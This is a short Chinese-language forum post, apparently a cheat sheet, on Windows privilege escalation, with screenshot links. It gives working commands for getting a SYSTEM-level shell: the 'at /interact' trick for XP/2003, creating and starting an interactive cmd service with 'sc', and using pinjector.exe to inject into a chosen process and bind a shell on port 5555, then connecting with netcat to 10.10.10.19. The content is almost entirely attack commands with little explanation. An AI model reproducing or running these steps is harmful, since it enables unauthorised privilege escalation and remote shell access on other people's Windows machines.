windows提权
[*]PsExec
[*]at
[*]Process_Injector
[*]
sc
psexec
当前用户是jh
http://i2.运维网.com/images/blog/201808/05/1ad81946a79a25547c97bf68f53af4b6.png
提权之后
http://i2.运维网.com/images/blog/201808/05/e3c4dbffec694a9b1b27992826505810.png
*at命令提权（适用于xp，2003）
at 15:05 /interact cmd
http://i2.运维网.com/images/blog/201808/05/c6a2001d4dd47f4eaf219c6bd087afbf.png
sc
创建服务(打开cmd命令窗口的服务)
sc Create systemcmd binPath= "cmd /K start" type= own type= interact
启动服务刚才创建的服务
sc start systemcmd
process_injector
列出当前的所有进程
pinjector.exe -l
http://i2.运维网.com/images/blog/201808/05/a7ba590fe3afaa89554e0a284a461c16.png
选择要提权成的用户，进行进程注入
pinjector.exe -p 732 cmd 5555 #服务端实现进程注入
nc -nv 10.10.10.19 5555 # 客户端连接服务端
http://i2.运维网.com/images/blog/201808/05/4cc171f3a694e33be76cf469ebeab94c.png
页:
[1]